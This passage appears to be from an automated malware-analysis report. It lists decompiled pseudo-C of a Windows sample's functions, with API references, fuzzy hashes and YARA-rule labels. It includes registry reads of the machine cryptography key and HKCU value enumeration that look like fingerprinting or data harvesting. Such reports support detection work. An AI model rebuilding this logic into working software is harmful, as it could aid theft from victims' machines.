				struct HINSTANCE__* _t24;
				void* _t32;
				intOrPtr _t35;
				void* _t45;

				if( *0x0041C650 != 0 ||  *0x41c030 == 0) {
					L3:
					if( *0x41b004 != 0) {
						E004032DC();
						E00403368(_t32);
						 *0x41b004 = 0;
					}
					L5:
					while(1) {
						if( *((char*)(0x41c650)) == 2 &&  *0x41b000 == 0) {
							 *0x0041C634 = 0;
						}
						E004031DC(); // executed
						if( *((char*)(0x41c650)) <= 1 ||  *0x41b000 != 0) {
							_t14 =  *0x0041C638;
							if( *0x0041C638 != 0) {
								E004048EC(_t14);
								_t35 =  *((intOrPtr*)(0x41c638));
								_t7 = _t35 + 0x10; // 0x0
								_t24 =  *_t7;
								_t8 = _t35 + 4; // 0x400000
								if(_t24 !=  *_t8 && _t24 != 0) {
									FreeLibrary(_t24);
								}
							}
						}
						E004031B4();
						if( *((char*)(0x41c650)) == 1) {
							 *0x0041C64C();
						}
						if( *((char*)(0x41c650)) != 0) {
							E00403338();
						}
						if( *0x41c628 == 0) {
							if( *0x41c018 != 0) {
								 *0x41c018();
							}
							ExitProcess( *0x41b000); // executed
						}
						memcpy(0x41c628,  *0x41c628, 0xb << 2);
						_t45 = _t45 + 0xc;
						0x41b000 = 0x41b000;
					}
				} else {
					do {
						 *0x41c030 = 0;
						 *((intOrPtr*)( *0x41c030))();
					} while ( *0x41c030 != 0);
					goto L3;
				}
			}

0x0040340b
0x00403423
0x0040342a
0x0040342c
0x00403431
0x00403438
0x00403438
0x00000000
0x0040343d
0x00403441
0x0040344a
0x0040344a
0x0040344d
0x00403456
0x0040345d
0x00403462
0x00403464
0x00403469
0x0040346c
0x0040346c
0x0040346f
0x00403472
0x00403479
0x00403479
0x00403472
0x00403462
0x0040347e
0x00403487
0x00403489
0x00403489
0x00403490
0x00403492
0x00403492
0x0040349a
0x004034a3
0x004034a5
0x004034a5
0x004034ae
0x004034ae
0x004034bf
0x004034bf
0x004034c1
0x004034c1
0x00403412
0x00403412
0x00403418
0x0040341c
0x0040341e
0x00000000
0x00403412

APIs

FreeLibrary.KERNEL32(00400000,?,?,?,00000002,004034D6,004025CB,0040260E,?,00000000,00402568,?,00403505,?,004186F7,00000000), ref: 00403479
ExitProcess.KERNEL32(00000000,?,?,?,00000002,004034D6,004025CB,0040260E,?,00000000,00402568,?,00403505,?,004186F7,00000000), ref: 004034AE

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitFreeLibraryProcess
String ID:
API String ID: 1404682716-0
Opcode ID: 83c72d89bf64d36d3e307e14c4e851507ac80ccff3e714fe6ab68af5963cad7f
Instruction ID: 3efb88752543cb7b7411b8850ba760202313331cae5217d67b69a3078a3e17bb
Opcode Fuzzy Hash: 83c72d89bf64d36d3e307e14c4e851507ac80ccff3e714fe6ab68af5963cad7f
Instruction Fuzzy Hash: 772162709002408BDB229F6684847577FD9AB49356F2585BBE844AF2C6D77CCEC0C7AD

Uniqueness

Uniqueness Score: -1.00%

Function 004033EC, Relevance: 3.1, APIs: 2, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E004033EC() {
				intOrPtr* _t13;
				struct HINSTANCE__* _t27;
				void* _t36;
				intOrPtr _t39;
				void* _t52;

				 *((intOrPtr*)(_t13 +  *_t13)) =  *((intOrPtr*)(_t13 +  *_t13)) + _t13 +  *_t13;
				if( *0x0041C650 != 0 ||  *0x41c030 == 0) {
					L5:
					if( *0x41b004 != 0) {
						E004032DC();
						E00403368(_t36);
						 *0x41b004 = 0;
					}
					L7:
					if( *((char*)(0x41c650)) == 2 &&  *0x41b000 == 0) {
						 *0x0041C634 = 0;
					}
					E004031DC(); // executed
					if( *((char*)(0x41c650)) <= 1 ||  *0x41b000 != 0) {
						_t17 =  *0x0041C638;
						if( *0x0041C638 != 0) {
							E004048EC(_t17);
							_t39 =  *((intOrPtr*)(0x41c638));
							_t7 = _t39 + 0x10; // 0x0
							_t27 =  *_t7;
							_t8 = _t39 + 4; // 0x400000
							if(_t27 !=  *_t8 && _t27 != 0) {
								FreeLibrary(_t27);
							}
						}
					}
					E004031B4();
					if( *((char*)(0x41c650)) == 1) {
						 *0x0041C64C();
					}
					if( *((char*)(0x41c650)) != 0) {
						E00403338();
					}
					if( *0x41c628 == 0) {
						if( *0x41c018 != 0) {
							 *0x41c018();
						}
						ExitProcess( *0x41b000); // executed
					}
					memcpy(0x41c628,  *0x41c628, 0xb << 2);
					_t52 = _t52 + 0xc;
					0x41b000 = 0x41b000;
					goto L7;
				} else {
					do {
						 *0x41c030 = 0;
						 *((intOrPtr*)( *0x41c030))();
					} while ( *0x41c030 != 0);
					goto L5;
				}
			}

0x004033ee
0x0040340b
0x00403423
0x0040342a
0x0040342c
0x00403431
0x00403438
0x00403438
0x0040343d
0x00403441
0x0040344a
0x0040344a
0x0040344d
0x00403456
0x0040345d
0x00403462
0x00403464
0x00403469
0x0040346c
0x0040346c
0x0040346f
0x00403472
0x00403479
0x00403479
0x00403472
0x00403462
0x0040347e
0x00403487
0x00403489
0x00403489
0x00403490
0x00403492
0x00403492
0x0040349a
0x004034a3
0x004034a5
0x004034a5
0x004034ae
0x004034ae
0x004034bf
0x004034bf
0x004034c1
0x00000000
0x00403412
0x00403412
0x00403418
0x0040341c
0x0040341e
0x00000000
0x00403412

APIs

FreeLibrary.KERNEL32(00400000,?,?,?,00000002,004034D6,004025CB,0040260E,?,00000000,00402568,?,00403505,?,004186F7,00000000), ref: 00403479
ExitProcess.KERNEL32(00000000,?,?,?,00000002,004034D6,004025CB,0040260E,?,00000000,00402568,?,00403505,?,004186F7,00000000), ref: 004034AE

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitFreeLibraryProcess
String ID:
API String ID: 1404682716-0
Opcode ID: 712c545abaf320befb2a29c50df4fdabf10e6ed2be12c49fdfa7e8256cdbd3e8
Instruction ID: a7f10c8a2f0efa7893578dab7d1fe92da90b98ef6ff2cf319ec6d8299990f2f9
Opcode Fuzzy Hash: 712c545abaf320befb2a29c50df4fdabf10e6ed2be12c49fdfa7e8256cdbd3e8
Instruction Fuzzy Hash: 922132709002408FDB229F6584847567FA9AF49316F1585BBE844AE2D6D77CCAC0C79D

Uniqueness

Uniqueness Score: -1.00%

Function 004033F0, Relevance: 3.1, APIs: 2, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E004033F0() {
				struct HINSTANCE__* _t26;
				void* _t35;
				intOrPtr _t38;
				void* _t51;

				if( *0x0041C650 != 0 ||  *0x41c030 == 0) {
					L4:
					if( *0x41b004 != 0) {
						E004032DC();
						E00403368(_t35);
						 *0x41b004 = 0;
					}
					L6:
					if( *((char*)(0x41c650)) == 2 &&  *0x41b000 == 0) {
						 *0x0041C634 = 0;
					}
					E004031DC(); // executed
					if( *((char*)(0x41c650)) <= 1 ||  *0x41b000 != 0) {
						_t16 =  *0x0041C638;
						if( *0x0041C638 != 0) {
							E004048EC(_t16);
							_t38 =  *((intOrPtr*)(0x41c638));
							_t7 = _t38 + 0x10; // 0x0
							_t26 =  *_t7;
							_t8 = _t38 + 4; // 0x400000
							if(_t26 !=  *_t8 && _t26 != 0) {
								FreeLibrary(_t26);
							}
						}
					}
					E004031B4();
					if( *((char*)(0x41c650)) == 1) {
						 *0x0041C64C();
					}
					if( *((char*)(0x41c650)) != 0) {
						E00403338();
					}
					if( *0x41c628 == 0) {
						if( *0x41c018 != 0) {
							 *0x41c018();
						}
						ExitProcess( *0x41b000); // executed
					}
					memcpy(0x41c628,  *0x41c628, 0xb << 2);
					_t51 = _t51 + 0xc;
					0x41b000 = 0x41b000;
					goto L6;
				} else {
					do {
						 *0x41c030 = 0;
						 *((intOrPtr*)( *0x41c030))();
					} while ( *0x41c030 != 0);
					goto L4;
				}
			}

0x0040340b
0x00403423
0x0040342a
0x0040342c
0x00403431
0x00403438
0x00403438
0x0040343d
0x00403441
0x0040344a
0x0040344a
0x0040344d
0x00403456
0x0040345d
0x00403462
0x00403464
0x00403469
0x0040346c
0x0040346c
0x0040346f
0x00403472
0x00403479
0x00403479
0x00403472
0x00403462
0x0040347e
0x00403487
0x00403489
0x00403489
0x00403490
0x00403492
0x00403492
0x0040349a
0x004034a3
0x004034a5
0x004034a5
0x004034ae
0x004034ae
0x004034bf
0x004034bf
0x004034c1
0x00000000
0x00403412
0x00403412
0x00403418
0x0040341c
0x0040341e
0x00000000
0x00403412

APIs

FreeLibrary.KERNEL32(00400000,?,?,?,00000002,004034D6,004025CB,0040260E,?,00000000,00402568,?,00403505,?,004186F7,00000000), ref: 00403479
ExitProcess.KERNEL32(00000000,?,?,?,00000002,004034D6,004025CB,0040260E,?,00000000,00402568,?,00403505,?,004186F7,00000000), ref: 004034AE

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitFreeLibraryProcess
String ID:
API String ID: 1404682716-0
Opcode ID: 1d3e21be2f222e88a5ce5129c4af818b1f382a2d1c87c05034a25e8df98eeb83
Instruction ID: 9b75380a0c1bb1c5ffdc64597b03c40b9c34cb72d282d073c18e6e74c6ec6d76
Opcode Fuzzy Hash: 1d3e21be2f222e88a5ce5129c4af818b1f382a2d1c87c05034a25e8df98eeb83
Instruction Fuzzy Hash: F42141709002408BDB229F6684847567FA9AF49316F2585BBE844AE2C6D77CCAC0CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00406E68, Relevance: 3.1, APIs: 2, Instructions: 58
registryCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E00406E68(void* __eax, void* __ebx, char __ecx, char __edx, intOrPtr _a4) {
				char _v8;
				char _v12;
				int _v16;
				int _v20;
				void* _v24;
				char _v536;
				void* _t18;
				intOrPtr _t52;
				void* _t56;

				_t18 = __eax - 0x55000000;
				_v12 = __ecx;
				_v8 = __edx;
				E00404150( &_v8);
				E00404150( &_v12);
				_push(_t56);
				_push(0x406f1f);
				_push( *[fs:eax]);
				 *[fs:eax] = _t56 + 0xfffffdec;
				_v20 = 0xfe;
				_v536 = 0;
				RegOpenKeyExW(_t18, E00403D98(_v8), 0, 0x20119,  &_v24); // executed
				RegQueryValueExW(_v24, E00403D98(_v12), 0,  &_v16,  &_v536,  &_v20); // executed
				E00403D6C(_a4, 0x100,  &_v536);
				_pop(_t52);
				 *[fs:eax] = _t52;
				_push(E00406F26);
				return E00403BF4( &_v12, 2);
			}

0x00406e68
0x00406e76
0x00406e79
0x00406e81
0x00406e89
0x00406e90
0x00406e91
0x00406e96
0x00406e99
0x00406e9c
0x00406ea3
0x00406ec8
0x00406eef
0x00406eff
0x00406f06
0x00406f09
0x00406f0c
0x00406f1e

APIs

Part of subcall function 00404150: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 0040415E

RegOpenKeyExW.KERNEL32(80000002,00000000,00000000,00020119,?), ref: 00406EC8
RegQueryValueExW.KERNEL32(?,00000000,00000000,00000000,00000000,000000FE), ref: 00406EEF

Part of subcall function 00403BF4: SysFreeString.OLEAUT32(?), ref: 00403C07

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: String$AllocFreeOpenQueryValue
String ID:
API String ID: 967375698-0
Opcode ID: 75d402b96af35ef4be622c85e7f42c5874bf5a9438753516473e280561b1ff26
Instruction ID: 95dba4e9abc9c412b13e6587c625634e660d61312d90d7235186b1c7fae4ad03
Opcode Fuzzy Hash: 75d402b96af35ef4be622c85e7f42c5874bf5a9438753516473e280561b1ff26
Instruction Fuzzy Hash: DB114970600209AFD700EF98D992ADEBBFCEF48704F4000B6B508E7291E774AB448BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00406E6C, Relevance: 3.1, APIs: 2, Instructions: 58
registryCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E00406E6C(void* __eax, void* __ebx, char __ecx, char __edx, intOrPtr _a4) {
				char _v8;
				char _v12;
				int _v16;
				int _v20;
				void* _v24;
				char _v536;
				void* _t44;
				intOrPtr _t51;
				void* _t55;

				_v12 = __ecx;
				_v8 = __edx;
				_t44 = __eax;
				E00404150( &_v8);
				E00404150( &_v12);
				_push(_t55);
				_push(0x406f1f);
				_push( *[fs:eax]);
				 *[fs:eax] = _t55 + 0xfffffdec;
				_v20 = 0xfe;
				_v536 = 0;
				RegOpenKeyExW(_t44, E00403D98(_v8), 0, 0x20119,  &_v24); // executed
				RegQueryValueExW(_v24, E00403D98(_v12), 0,  &_v16,  &_v536,  &_v20); // executed
				E00403D6C(_a4, 0x100,  &_v536);
				_pop(_t51);
				 *[fs:eax] = _t51;
				_push(E00406F26);
				return E00403BF4( &_v12, 2);
			}

0x00406e76
0x00406e79
0x00406e7c
0x00406e81
0x00406e89
0x00406e90
0x00406e91
0x00406e96
0x00406e99
0x00406e9c
0x00406ea3
0x00406ec8
0x00406eef
0x00406eff
0x00406f06
0x00406f09
0x00406f0c
0x00406f1e

APIs

Part of subcall function 00404150: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 0040415E

RegOpenKeyExW.KERNEL32(80000002,00000000,00000000,00020119,?), ref: 00406EC8
RegQueryValueExW.KERNEL32(?,00000000,00000000,00000000,00000000,000000FE), ref: 00406EEF

Part of subcall function 00403BF4: SysFreeString.OLEAUT32(?), ref: 00403C07

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: String$AllocFreeOpenQueryValue
String ID:
API String ID: 967375698-0
Opcode ID: 93ffc18aff940630c773c39f869c9b73eb077ec6050040de7a5362879dcd2ece
Instruction ID: d6839de15ce0d986496e2f56cedbfcdd5c795bc72117923b9a37f873fbd9eab1
Opcode Fuzzy Hash: 93ffc18aff940630c773c39f869c9b73eb077ec6050040de7a5362879dcd2ece
Instruction Fuzzy Hash: E0111971640209AFD700EB99DD86EDEBBFCEF48704F5000B6B508E7291DB74AB448A65

Uniqueness

Uniqueness Score: -1.00%

Function 0040AB7D, Relevance: 3.0, APIs: 2, Instructions: 28
fileCOMMON

Download Yara Rule

C-Code - Quality: 29%

			E0040AB7D(void* __ebx) {
				intOrPtr* _t28;
				void* _t31;
				int _t36;
				intOrPtr* _t54;
				void* _t60;
				intOrPtr _t71;
				void* _t77;
				intOrPtr _t79;
				void* _t80;
				void* _t81;
				void* _t82;
				intOrPtr _t83;

				_t60 = __ebx;
				E0040300C();
				while(1) {
					_t36 = FindNextFileW( *(_t82 - 0x10), _t82 - 0x260); // executed
					if(_t36 == 0) {
						break;
					}
					_push( *((intOrPtr*)(_t82 - 4)));
					_push(E0040ABF8);
					E00403D6C(_t82 - 0x26c, 0x104, _t82 - 0x234);
					_push( *((intOrPtr*)(_t82 - 0x26c)));
					_push(E0040ABF8);
					_t28 =  *0x41b3d8; // 0x41c918
					_push( *_t28);
					E00403E78();
					_t31 = E0040776C( *((intOrPtr*)(_t82 - 0x268)), _t60, 0x104); // executed
					if(_t31 != 0) {
						_push(_t82);
						_push(0x40ab78);
						_push( *[fs:eax]);
						 *[fs:eax] = _t83;
						_push( *((intOrPtr*)( *((intOrPtr*)(_t82 - 0xc)))));
						_push(_t82 - 0x270);
						E00403D6C(_t82 - 0x274, 0x104, _t82 - 0x234);
						_push( *((intOrPtr*)(_t82 - 0x274)));
						_push( *((intOrPtr*)(_t82 - 4)));
						_push(E0040ABF8);
						E00403D6C(_t82 - 0x27c, 0x104, _t82 - 0x234);
						_push( *((intOrPtr*)(_t82 - 0x27c)));
						_push(E0040ABF8);
						_t54 =  *0x41b3d8; // 0x41c918
						_push( *_t54);
						E00403E78();
						_pop(_t77); // executed
						E0040A6F0( *((intOrPtr*)(_t82 - 0x278)), _t60,  *((intOrPtr*)(_t82 - 8)), _t77, _t80, _t81); // executed
						_push( *((intOrPtr*)(_t82 - 0x270)));
						_push(E0040AC00);
						E00403E78();
						_pop(_t79);
						 *[fs:eax] = _t79;
					}
				}
				FindClose( *(_t82 - 0x10)); // executed
				_pop(_t71);
				 *[fs:eax] = _t71;
				_push(E0040ABDD);
				E00403BF4(_t82 - 0x27c, 7);
				return E00403BF4(_t82 - 8, 2);
			}

0x0040ab7d
0x0040ab7d
0x0040ab82
0x0040ab94
0x0040ab98
0x00000000
0x00000000
0x0040aa7d
0x0040aa80
0x0040aa96
0x0040aa9b
0x0040aaa1
0x0040aaa6
0x0040aaab
0x0040aab8
0x0040aac3
0x0040aaca
0x0040aad2
0x0040aad3
0x0040aad8
0x0040aadb
0x0040aae1
0x0040aae9
0x0040aafb
0x0040ab06
0x0040ab07
0x0040ab0a
0x0040ab20
0x0040ab25
0x0040ab2b
0x0040ab30
0x0040ab35
0x0040ab42
0x0040ab50
0x0040ab51
0x0040ab56
0x0040ab5c
0x0040ab69
0x0040ab70
0x0040ab73
0x0040ab73
0x0040aaca
0x0040aba9
0x0040abad
0x0040abb0
0x0040abb3
0x0040abc3
0x0040abd5

APIs

FindNextFileW.KERNELBASE(00000000,?,0041C918,0040ABF8,?,0040ABF8,0041A212,?,00000000,?,00000000,?,0040AC55,00000000,0040B121), ref: 0040AB94
FindClose.KERNEL32(00000000,?,00000000,?,00000000,?,0040AC55,00000000,0040B121,?,00000000,00000000,?,0040E205,00000000,0040E24F), ref: 0040ABA9

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Find$CloseFileNext
String ID:
API String ID: 2066263336-0
Opcode ID: 314a58242de21868dbfba20fb86a3b1c6f9d366528f90e512f1aaa0ef659b908
Instruction ID: 8aa335468038fc7f48054eee08d9cb9e59dc8254e83ebeee364cfc6a2b52221f
Opcode Fuzzy Hash: 314a58242de21868dbfba20fb86a3b1c6f9d366528f90e512f1aaa0ef659b908
Instruction Fuzzy Hash: 0BF0AC356041199FD700DBA9DC91AAEB7FCEB88314F5040BBB918E3291DB38EA058B19

Uniqueness

Uniqueness Score: -1.00%

Function 00403CD0, Relevance: 3.0, APIs: 2, Instructions: 13
memoryCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E00403CD0(signed int __eax, void* __ecx, void* __edx) {
				void* _t3;
				signed char _t13;
				void* _t16;
				void* _t17;
				void* _t21;

				_t16 = __edx;
				_t2 = __eax;
				if(__ecx == 0) {
					_t17 =  *__eax;
					if(_t17 != 0) {
						 *__eax = 0;
						_push(__eax);
						L00401158();
						_t3 = _t17;
						return _t3;
					}
					return __eax;
				} else {
					_push(__eax);
					_push(__ecx);
					_push(__edx);
					L00401148();
					if(__eax == 0) {
						__eax = __eax & 0x0000007f;
						__edx =  *__esp;
						_t21 = _t16;
						_t13 = _t2 & 0x0000007f;
						if( *0x41c008 != 0) {
							 *0x41c008();
						}
						if(_t13 != 0) {
							if(_t13 <= 0x18) {
								_t1 = _t13 + 0x41b03c; // 0xd7c9c8cc
								_t13 =  *_t1;
							}
						} else {
							_t13 =  *0x41c624; // 0x67
						}
						return E004025C0(_t21);
					} else {
						_pop(__edx);
						_push( *__edx);
						 *__edx = __eax; // executed
						L00401158(); // executed
						return __eax;
					}
				}
			}

0x00403cd0
0x00403cd0
0x00403cd2
0x00403bdc
0x00403be0
0x00403be2
0x00403be8
0x00403bea
0x00403bef
0x00000000
0x00403bef
0x00403bf0
0x00403cd8
0x00403cd8
0x00403cd9
0x00403cda
0x00403cdb
0x00403ce2
0x00402614
0x00402617
0x004025ce
0x004025d2
0x004025dc
0x004025e2
0x004025e2
0x004025ea
0x004025f7
0x004025fd
0x004025fd
0x004025fd
0x004025ec
0x004025ec
0x004025ec
0x00402610
0x00403ce8
0x00403ce8
0x00403ce9
0x00403ceb
0x00403ced
0x00403cf2
0x00403cf2
0x00403ce2

APIs

SysFreeString.OLEAUT32(00000000), ref: 00403BEA
SysAllocStringLen.OLEAUT32(00000000,00000100), ref: 00403CDB
SysFreeString.OLEAUT32(00000000), ref: 00403CED

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: a99eba3e8354dacb8a4fbbf8265186621d854ff9fd2c99207873a7d5ef80a0ca
Instruction ID: ac4494215388a04da16734975dfa6f75c62b91cc14afa2a054e517f3bba76461
Opcode Fuzzy Hash: a99eba3e8354dacb8a4fbbf8265186621d854ff9fd2c99207873a7d5ef80a0ca
Instruction Fuzzy Hash: 99C08CB82016026DEF083F324801C3B3F2CAD8430A340047EB910F82A2E63CE8408028

Uniqueness

Uniqueness Score: -1.00%

Function 00401388, Relevance: 2.5, APIs: 2, Instructions: 37
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401388(void* __eax, void** __edx) {
				void* _t3;
				void** _t8;
				void* _t11;
				long _t14;

				_t8 = __edx;
				if(__eax >= 0x100000) {
					_t14 = __eax + 0x0000ffff & 0xffff0000;
				} else {
					_t14 = 0x100000;
				}
				_t8[1] = _t14;
				_t3 = VirtualAlloc(0, _t14, 0x2000, 1); // executed
				_t11 = _t3;
				 *_t8 = _t11;
				if(_t11 != 0) {
					_t3 = E0040123C(0x41c5d4, _t8);
					if(_t3 == 0) {
						VirtualFree( *_t8, 0, 0x8000);
						 *_t8 = 0;
						return 0;
					}
				}
				return _t3;
			}

0x0040138b
0x00401395
0x004013a4
0x00401397
0x00401397
0x00401397
0x004013aa
0x004013b7
0x004013bc
0x004013be
0x004013c2
0x004013cb
0x004013d2
0x004013de
0x004013e5
0x00000000
0x004013e5
0x004013d2
0x004013ea

APIs

VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,00401691), ref: 004013B7
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,00401691), ref: 004013DE

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: b25dbc278243e52bedcd7f6d8fef46cdb2f3eea21510b30c666f455eef3dc6e8
Instruction ID: a459bd48843060549903651ed84add4fd647ab7a4347e8b1aec55fdbd67c2c02
Opcode Fuzzy Hash: b25dbc278243e52bedcd7f6d8fef46cdb2f3eea21510b30c666f455eef3dc6e8
Instruction Fuzzy Hash: 72F0E972B0032017EB2055690CC1F5265C58B46760F14417BBE08FF7D9C6758C008299

Uniqueness

Uniqueness Score: -1.00%

Function 0040B804, Relevance: 1.7, APIs: 1, Instructions: 187
registryCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E0040B804(char __eax, void* __ebx, char __ecx, short* __edx, void* __edi, void* __esi, void* __fp0, intOrPtr _a4) {
				char _v8;
				char _v12;
				char _v16;
				intOrPtr _v20;
				char _v24;
				void* _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				intOrPtr _v52;
				char _v56;
				intOrPtr _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				long _t84;
				intOrPtr* _t86;
				intOrPtr* _t107;
				intOrPtr* _t120;
				intOrPtr* _t130;
				intOrPtr* _t146;
				short* _t160;
				signed int _t161;
				intOrPtr _t168;
				intOrPtr _t170;
				intOrPtr _t171;
				void* _t182;
				void* _t183;
				void* _t185;
				void* _t188;
				intOrPtr _t189;
				void* _t194;

				_t194 = __fp0;
				_t189 = _t188 + 0xffffffb8;
				_v72 = 0;
				_v76 = 0;
				_v68 = 0;
				_v16 = 0;
				_v24 = 0;
				_v12 = __ecx;
				_t160 = __edx;
				_v8 = __eax;
				E00404874(_v8);
				E00403980(_v12);
				_push(_t188);
				_push(0x40ba26);
				_push( *[fs:eax]);
				 *[fs:eax] = _t189;
				E004034E4(_a4);
				_v20 = 0;
				_t84 = RegOpenKeyExW(0x80000001, _t160, 0, 1,  &_v28); // executed
				if(_t84 == 0) {
					_v32 = 0x400;
					_t185 = E00402530(_v32);
					while(1) {
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						_push( &_v32);
						_push(_t185);
						_push(_v20);
						_push(_v28);
						_t107 =  *0x41b3a4; // 0x41c734
						if( *((intOrPtr*)( *_t107))() == 0x103) {
							goto L11;
						}
						_v32 = 0x400;
						_t182 = E00404650();
						if(_t182 >= 0) {
							_t183 = _t182 + 1;
							_t161 = 0;
							do {
								E0040B47C( *((intOrPtr*)(_v8 + _t161 * 4)), _t161,  &_v24, _t183, _t185);
								_t120 =  *0x41b398; // 0x41c710
								 *((intOrPtr*)( *_t120))(_v28, _t185, 0,  &_v36, 0,  &_v40);
								_push(_v40);
								E00404804();
								_t189 = _t189 + 4;
								_push( &_v40);
								_push(_v16);
								_push( &_v36);
								_push(0);
								_push(_t185);
								_push(_v28);
								_t130 =  *0x41b398; // 0x41c710
								if( *((intOrPtr*)( *_t130))() == 0) {
									_v44 = _v16;
									_v48 = _v40;
									_v60 =  *((intOrPtr*)(_v8 + _t161 * 4));
									E00403D24( &_v68,  *((intOrPtr*)(_v8 + _t161 * 4)));
									_v64 = E00403DA8(_v68) + 1 + E00403DA8(_v68) + 1;
									_push( &_v56);
									_push(1);
									_push(0);
									_push(0);
									_push( &_v64);
									_push(0);
									_push( &_v48);
									_t146 =  *0x41b338; // 0x41ca64
									if( *((intOrPtr*)( *_t146))() != 0) {
										E0040370C( &_v76,  *((intOrPtr*)(_v8 + _t161 * 4)));
										E0040B66C(_v52, _t161, _v12, _t183, _t185, _t194,  &_v72, _v76);
										E00403798(_a4, _v72);
									}
								}
								_t161 = _t161 + 1;
								_t183 = _t183 - 1;
							} while (_t183 != 0);
						}
						E00404F5C();
						_v20 = _v20 + 1;
					}
				}
				L11:
				_t86 =  *0x41b1fc; // 0x41c714
				 *((intOrPtr*)( *_t86))(_v28);
				_pop(_t168);
				 *[fs:eax] = _t168;
				_push(E0040BA2D);
				E00403508( &_v76, 2);
				E00403BDC( &_v68);
				E004034E4( &_v24);
				_t170 =  *0x40b7e0; // 0x40b7e4
				E00404810( &_v16, _t170);
				E004034E4( &_v12);
				_t171 =  *0x40b1f0; // 0x40b1f4
				return E00404810( &_v8, _t171);
			}

0x0040b804
0x0040b807
0x0040b80f
0x0040b812
0x0040b815
0x0040b818
0x0040b81b
0x0040b81e
0x0040b821
0x0040b823
0x0040b829
0x0040b831
0x0040b838
0x0040b839
0x0040b83e
0x0040b841
0x0040b847
0x0040b84e
0x0040b866
0x0040b86a
0x0040b870
0x0040b87f
0x0040b9a1
0x0040b9a1
0x0040b9a3
0x0040b9a5
0x0040b9a7
0x0040b9ac
0x0040b9ad
0x0040b9b1
0x0040b9b5
0x0040b9b6
0x0040b9c4
0x00000000
0x00000000
0x0040b886
0x0040b895
0x0040b899
0x0040b89f
0x0040b8a0
0x0040b8a2
0x0040b8ab
0x0040b8c1
0x0040b8c8
0x0040b8cd
0x0040b8dc
0x0040b8e1
0x0040b8e7
0x0040b8eb
0x0040b8ef
0x0040b8f0
0x0040b8f2
0x0040b8f6
0x0040b8f7
0x0040b902
0x0040b90b
0x0040b911
0x0040b91a
0x0040b926
0x0040b936
0x0040b93c
0x0040b93d
0x0040b93f
0x0040b941
0x0040b946
0x0040b947
0x0040b94c
0x0040b94d
0x0040b958
0x0040b963
0x0040b979
0x0040b984
0x0040b989
0x0040b958
0x0040b98c
0x0040b98d
0x0040b98d
0x0040b8a2
0x0040b999
0x0040b99e
0x0040b99e
0x0040b9a1
0x0040b9ca
0x0040b9ce
0x0040b9d5
0x0040b9d9
0x0040b9dc
0x0040b9df
0x0040b9ec
0x0040b9f4
0x0040b9fc
0x0040ba04
0x0040ba0a
0x0040ba12
0x0040ba1a
0x0040ba25

APIs

RegOpenKeyExW.KERNEL32(80000001,00000000,00000000,00000001,0040BA88,00000000,0040BA26,?,00000000,?,0041A212), ref: 0040B866

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 81aa2dcec8f700d3ded1d9beeba7a357ba4f9dc75c092996aa29383ed270e766
Instruction ID: 34205e84097258e7a588fb199a314387a6db68d3062b84a0f8cba89c4babe4b5
Opcode Fuzzy Hash: 81aa2dcec8f700d3ded1d9beeba7a357ba4f9dc75c092996aa29383ed270e766
Instruction Fuzzy Hash: C371A3B5A00109AFDB10DF99C981EDEB7F8EF48304F10417AEA14F72A1D774AE458B98

Uniqueness

Uniqueness Score: -1.00%

Function 0040B25C, Relevance: 1.6, APIs: 1, Instructions: 111
comCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E0040B25C(intOrPtr* __eax, void* __ebx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				intOrPtr _v52;
				char _v56;
				char _v60;
				intOrPtr* _t39;
				intOrPtr* _t42;
				intOrPtr* _t47;
				signed int _t80;
				intOrPtr _t98;
				intOrPtr* _t104;
				void* _t105;
				void* _t106;
				void* _t107;
				intOrPtr _t108;
				void* _t109;

				_t106 = _t107;
				_t108 = _t107 + 0xffffffc8;
				_v60 = 0;
				_v8 = 0;
				_v16 = 0;
				_t104 = __eax;
				 *[fs:eax] = _t108;
				L0040B1A4(); // executed
				_t80 = 0;
				asm("adc eax, 0x40b1f0");
				E00404804();
				_t109 = _t108 + 4;
				E0040B224(0x41b0dc,  &_v60);
